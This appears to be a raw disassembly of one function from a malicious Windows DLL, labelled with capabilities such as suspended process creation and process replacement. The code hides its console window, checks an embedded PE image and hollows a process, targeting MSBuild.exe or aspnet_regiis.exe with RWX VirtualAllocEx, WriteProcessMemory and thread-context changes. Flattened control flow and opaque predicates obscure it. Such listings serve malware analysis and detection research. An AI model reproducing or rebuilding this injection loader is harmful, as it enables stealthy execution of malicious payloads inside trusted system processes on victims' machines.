Function at 0x10002f60
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x104
mov eax, dword [0x10035600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10c], 0xdb17fb4d
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x110], eax
sub eax, 0x84e05e47
je 0x100047b3
jmp 0x10002f9c
mov eax, dword [ebp - 0x110]
sub eax, 0x854f9b14
je 0x100051a8
jmp 0x10002fb2
mov eax, dword [ebp - 0x110]
sub eax, 0x867bb2e2
je 0x10004738
jmp 0x10002fc8
mov eax, dword [ebp - 0x110]
sub eax, 0x867e98d7
je 0x10003f7c
jmp 0x10002fde
mov eax, dword [ebp - 0x110]
sub eax, 0x86905515
je 0x100058fd
jmp 0x10002ff4
mov eax, dword [ebp - 0x110]
sub eax, 0x8921b610
je 0x10003b5f
jmp 0x1000300a
mov eax, dword [ebp - 0x110]
sub eax, 0x8b727a54
je 0x1000536f
jmp 0x10003020
mov eax, dword [ebp - 0x110]
sub eax, 0x8e668e6c
je 0x1000575a
jmp 0x10003036
mov eax, dword [ebp - 0x110]
sub eax, 0x8eab0e90
je 0x10004d67
jmp 0x1000304c
mov eax, dword [ebp - 0x110]
sub eax, 0x8f1c1c76
je 0x10004061
jmp 0x10003062
mov eax, dword [ebp - 0x110]
sub eax, 0x903fd3a3
je 0x10004028
jmp 0x10003078
mov eax, dword [ebp - 0x110]
sub eax, 0x91598b60
je 0x10004978
jmp 0x1000308e
mov eax, dword [ebp - 0x110]
sub eax, 0x9486ce57
je 0x10003ddd
jmp 0x100030a4
mov eax, dword [ebp - 0x110]
sub eax, 0x95a3dec5
je 0x10003c34
jmp 0x100030ba
mov eax, dword [ebp - 0x110]
sub eax, 0x961b2644
je 0x10004db8
jmp 0x100030d0
mov eax, dword [ebp - 0x110]
sub eax, 0x9827af9c
je 0x1000489b
jmp 0x100030e6
mov eax, dword [ebp - 0x110]
sub eax, 0x9a61508d
je 0x10004b26
jmp 0x100030fc
mov eax, dword [ebp - 0x110]
sub eax, 0x9ea037aa
je 0x100044f6
jmp 0x10003112
mov eax, dword [ebp - 0x110]
sub eax, 0xa1f2f20c
je 0x10004d49
jmp 0x10003128
mov eax, dword [ebp - 0x110]
sub eax, 0xa3ffdca2
je 0x10003d19
jmp 0x1000313e
mov eax, dword [ebp - 0x110]
sub eax, 0xa8666310
je 0x10005157
jmp 0x10003154
mov eax, dword [ebp - 0x110]
sub eax, 0xa97b7ecc
je 0x10004a43
jmp 0x1000316a
mov eax, dword [ebp - 0x110]
sub eax, 0xac7a889e
je 0x10004b62
jmp 0x10003180
mov eax, dword [ebp - 0x110]
sub eax, 0xad7ffc6e
je 0x10005780
jmp 0x10003196
mov eax, dword [ebp - 0x110]
sub eax, 0xadc598ba
je 0x10004e55
jmp 0x100031ac
mov eax, dword [ebp - 0x110]
sub eax, 0xb3038822
je 0x10004a11
jmp 0x100031c2
mov eax, dword [ebp - 0x110]
sub eax, 0xb7bc2a05
je 0x100047c2
jmp 0x100031d8
mov eax, dword [ebp - 0x110]
sub eax, 0xb94b2b5c
je 0x10004627
jmp 0x100031ee
mov eax, dword [ebp - 0x110]
sub eax, 0xba624583
je 0x10005930
jmp 0x10003204
mov eax, dword [ebp - 0x110]
sub eax, 0xbe347a25
je 0x10005ab4
jmp 0x1000321a
mov eax, dword [ebp - 0x110]
sub eax, 0xbeef82ea
je 0x1000422d
jmp 0x10003230
mov eax, dword [ebp - 0x110]
sub eax, 0xbfcabacd
je 0x10005612
jmp 0x10003246
mov eax, dword [ebp - 0x110]
sub eax, 0xc04111ab
je 0x100057fb
jmp 0x1000325c
mov eax, dword [ebp - 0x110]
sub eax, 0xc500624d
je 0x100058d6
jmp 0x10003272
mov eax, dword [ebp - 0x110]
sub eax, 0xc7d4f418
je 0x100058b2
jmp 0x10003288
mov eax, dword [ebp - 0x110]
sub eax, 0xc8404343
je 0x1000490a
jmp 0x1000329e
mov eax, dword [ebp - 0x110]
sub eax, 0xc8c980d9
je 0x10005981
jmp 0x100032b4
mov eax, dword [ebp - 0x110]
sub eax, 0xca8b9d92
je 0x10005663
jmp 0x100032ca
mov eax, dword [ebp - 0x110]
sub eax, 0xcb885636
je 0x10004e9a
jmp 0x100032e0
mov eax, dword [ebp - 0x110]
sub eax, 0xcbe8537c
je 0x10005681
jmp 0x100032f6
mov eax, dword [ebp - 0x110]
sub eax, 0xcc173164
je 0x10004b08
jmp 0x1000330c
mov eax, dword [ebp - 0x110]
sub eax, 0xccb6c945
je 0x10003d4a
jmp 0x10003322
mov eax, dword [ebp - 0x110]
sub eax, 0xd20df075
je 0x10003a3d
jmp 0x10003338
mov eax, dword [ebp - 0x110]
sub eax, 0xd22611e6
je 0x10005621
jmp 0x1000334e
mov eax, dword [ebp - 0x110]
sub eax, 0xd5edefb7
je 0x100046e0
jmp 0x10003364
mov eax, dword [ebp - 0x110]
sub eax, 0xd6b05f1b
je 0x10004a02
jmp 0x1000337a
mov eax, dword [ebp - 0x110]
sub eax, 0xd6c97147
je 0x1000434a
jmp 0x10003390
mov eax, dword [ebp - 0x110]
sub eax, 0xdb17fb4d
je 0x10003a07
jmp 0x100033a6
mov eax, dword [ebp - 0x110]
sub eax, 0xddd2b07a
je 0x10004c8b
jmp 0x100033bc
mov eax, dword [ebp - 0x110]
sub eax, 0xe26901c3
je 0x10005046
jmp 0x100033d2
mov eax, dword [ebp - 0x110]
sub eax, 0xe32a2301
je 0x10005253
jmp 0x100033e8
mov eax, dword [ebp - 0x110]
sub eax, 0xe53702df
je 0x100053dd
jmp 0x100033fe
mov eax, dword [ebp - 0x110]
sub eax, 0xeb4b2a7f
je 0x10003d67
jmp 0x10003414
mov eax, dword [ebp - 0x110]
sub eax, 0xed77026b
je 0x1000578f
jmp 0x1000342a
mov eax, dword [ebp - 0x110]
sub eax, 0xefd9338d
je 0x10005672
jmp 0x10003440
mov eax, dword [ebp - 0x110]
sub eax, 0xf117fd9e
je 0x10004a34
jmp 0x10003456
mov eax, dword [ebp - 0x110]
sub eax, 0xf737ad17
je 0x10003f9d
jmp 0x1000346c
mov eax, dword [ebp - 0x110]
sub eax, 0xfadc1c5d
je 0x10004276
jmp 0x10003482
mov eax, dword [ebp - 0x110]
sub eax, 0x9344b1
je 0x1000580a
jmp 0x10003498
mov eax, dword [ebp - 0x110]
sub eax, 0x2c39032
je 0x10003b89
jmp 0x100034ae
mov eax, dword [ebp - 0x110]
sub eax, 0x320e9b8
je 0x10004825
jmp 0x100034c4
mov eax, dword [ebp - 0x110]
sub eax, 0x4a4ddc7
je 0x10004c9a
jmp 0x100034da
mov eax, dword [ebp - 0x110]
sub eax, 0x4a4f44d
je 0x10005148
jmp 0x100034f0
mov eax, dword [ebp - 0x110]
sub eax, 0x4da5419
je 0x100041dc
jmp 0x10003506
mov eax, dword [ebp - 0x110]
sub eax, 0x8d25ca0
je 0x10003ca2
push eax
sub esp, 0x40
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
mov dword [ebp - 0x10c], 0xd20df075
jmp 0x10005abe
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011a0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011a0
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x1b600
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x100]
movzx edx, word [eax]
mov eax, 0xcbe8537c
mov ecx, 0x8921b610
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x100]
mov edx, dword [ecx + 0x3c]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x10c], 0x2c39032
jmp 0x10005abe
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x10c], 0x4c67ee77
jmp 0x10005abe
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8e668e6c
mov ecx, 0x8d25ca0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov eax, dword [ebp - 0xf0]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov dl, byte [eax]
mov eax, 0xccb6c945
mov ecx, 0xa114b52
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov eax, dword [ebp - 0xf0]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x10c], 0xeb4b2a7f
jmp 0x10005abe
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
sub edx, 0xa845c17d
sub edx, 1
add edx, 0xa845c17d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xad7ffc6e
mov ecx, 0x9486ce57
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
sub edx, 0x1165a3b9
sub edx, 1
add edx, 0x1165a3b9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xad7ffc6e
mov ecx, 0x13421d7e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov dl, byte [ebp - 0xa1]
mov eax, 0xca8b9d92
mov ecx, 0xf737ad17
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x104]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x104]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x10c], 0x4666ef25
jmp 0x10005abe
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.10002770
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
add eax, 0x18
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x10c], 0x8f1c1c76
jmp 0x10005abe
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + 0x8c]
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x108]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x20]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov edx, dword [ebp - 0xe8]
mov eax, 0xbeef82ea
mov ecx, 0x162d1f74
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x98]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov dword [ebp - 0x10c], 0xbeef82ea
jmp 0x10005abe
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9344b1
mov ecx, 0xfadc1c5d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov eax, dword [ebp - 0x108]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0xfc]
mov edx, dword [ebp - 0xe8]
mov edx, dword [edx]
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x100]
add eax, dword [ecx + 0x3c]
add eax, 4
add eax, 0x14
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x108]
add eax, 4
mov dword [ebp - 0x8c], eax
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9344b1
mov ecx, 0xd6c97147
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov dword [ebp - 0x10c], 0x66b5c961
jmp 0x10005abe
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x80]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10002d80
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov edx, dword [eax]
mov eax, dword [ebp - 0xe0]
mov esi, dword [eax]
mov eax, dword [ebp - 0xd0]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0x84e05e47
mov ecx, 0x2c1656ef
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0xe0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xd0]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd0]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0xc
mov dword [ebp - 0x68], eax
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
add edx, 0xe24ad7ed
sub edx, 1
sub edx, 0xe24ad7ed
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2deb038a
mov ecx, 0xd5edefb7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov dword [ebp - 0x10c], 0x412cce8a
jmp 0x10005abe
mov eax, dword [ebp - 0x68]
mov edx, dword [eax]
mov eax, dword [ebp - 0x6c]
xor ecx, ecx
sub ecx, edx
add eax, ecx
mov ecx, dword [ebp - 0x70]
add ecx, eax
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
sub edx, 0x5ce87603
sub edx, 1
add edx, 0x5ce87603
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4594c655
mov ecx, 0x754f95e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov dword [ebp - 0x10c], 0xb7bc2a05
jmp 0x10005abe
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x10c], 0x4999e606
jmp 0x10005abe
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
sub edx, 0xec93368
sub edx, 1
add edx, 0xec93368
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc7d4f418
mov ecx, 0x9827af9c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
add edx, 0x60853f58
sub edx, 1
sub edx, 0x60853f58
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc7d4f418
mov ecx, 0x20b32a19
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3fdceed7
mov ecx, 0x91598b60
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x58], eax
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
add edx, 0x1ed3ccc5
sub edx, 1
sub edx, 0x1ed3ccc5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3fdceed7
mov ecx, 0xd6b05f1b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov dword [ebp - 0x10c], 0xb3038822
jmp 0x10005abe
mov eax, dword [ebp - 0x58]
mov esi, dword [eax + 0x34]
mov edx, dword [ebp - 0x5c]
mov eax, 0x498fb863
mov ecx, 0xf117fd9e
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov dword [ebp - 0x10c], 0xa97b7ecc
jmp 0x10005abe
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x10c], 0x6cd40fdc
jmp 0x10005abe
mov dl, byte [ebp - 0x4d]
mov eax, 0xe53702df
mov ecx, 0x9a61508d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax]
sub ecx, 0x127d1096
add ecx, 8
add ecx, 0x127d1096
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x10c], 0xac7a889e
jmp 0x10005abe
mov ecx, dword [ebp - 0x4c]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x108]
mov eax, dword [eax + 0x34]
sub ecx, 0x4af917c0
sub ecx, eax
add ecx, 0x4af917c0
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbc]
mov dword [eax], 0
mov dword [ebp - 0x10c], 0x596f2bbb
jmp 0x10005abe
mov dword [ebp - 0x10c], 0x4a4ddc7
jmp 0x10005abe
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
add edx, 0x82f9d429
sub edx, 1
sub edx, 0x82f9d429
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x86905515
mov ecx, 0x6c7f73a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov dl, byte [ebp - 0x41]
mov eax, 0x653e96a9
mov ecx, 0x8eab0e90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
add edx, 0x79f23dd0
sub edx, 1
sub edx, 0x79f23dd0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x23e326aa
mov ecx, 0x961b2644
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ecx]
shl ecx, 1
add eax, ecx
mov dword [ebp - 0x40], eax
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
add edx, 0x457c20c4
sub edx, 1
sub edx, 0x457c20c4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x23e326aa
mov ecx, 0xd0de044
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov eax, dword [ebp - 0x40]
movzx edx, word [eax]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf000
mov eax, 0xffffffff
xor eax, 0x1c3d6b09
or edx, ecx
or eax, 0x1c3d6b09
xor edx, 0xffffffff
and edx, eax
mov eax, 0x59247ec8
mov ecx, 0xcb885636
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ecx]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xbc]
mov edx, dword [edx]
movzx ecx, word [ecx + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, ecx
xor edx, esi
and edx, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x10c], 0x3e1f5d25
jmp 0x10005abe
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
sub edx, 0xa506c749
sub edx, 1
add edx, 0xa506c749
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc8c980d9
mov ecx, 0x4a714bf8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov dword [ebp - 0x10c], 0xa8666310
jmp 0x10005abe
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
sub edx, 0xe48bfb7a
sub edx, 1
add edx, 0xe48bfb7a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfa4fc6c
mov ecx, 0x854f9b14
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov edx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xb4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
add edx, 0xa959ec19
sub edx, 1
sub edx, 0xa959ec19
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfa4fc6c
mov ecx, 0x421794c9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov dword [ebp - 0x10c], 0x59247ec8
jmp 0x10005abe
mov dword [ebp - 0x10c], 0x16814aeb
jmp 0x10005abe
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x55677ea4
mov ecx, 0x6a2668d1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov dword [ebp - 0x10c], 0xd22611e6
jmp 0x10005abe
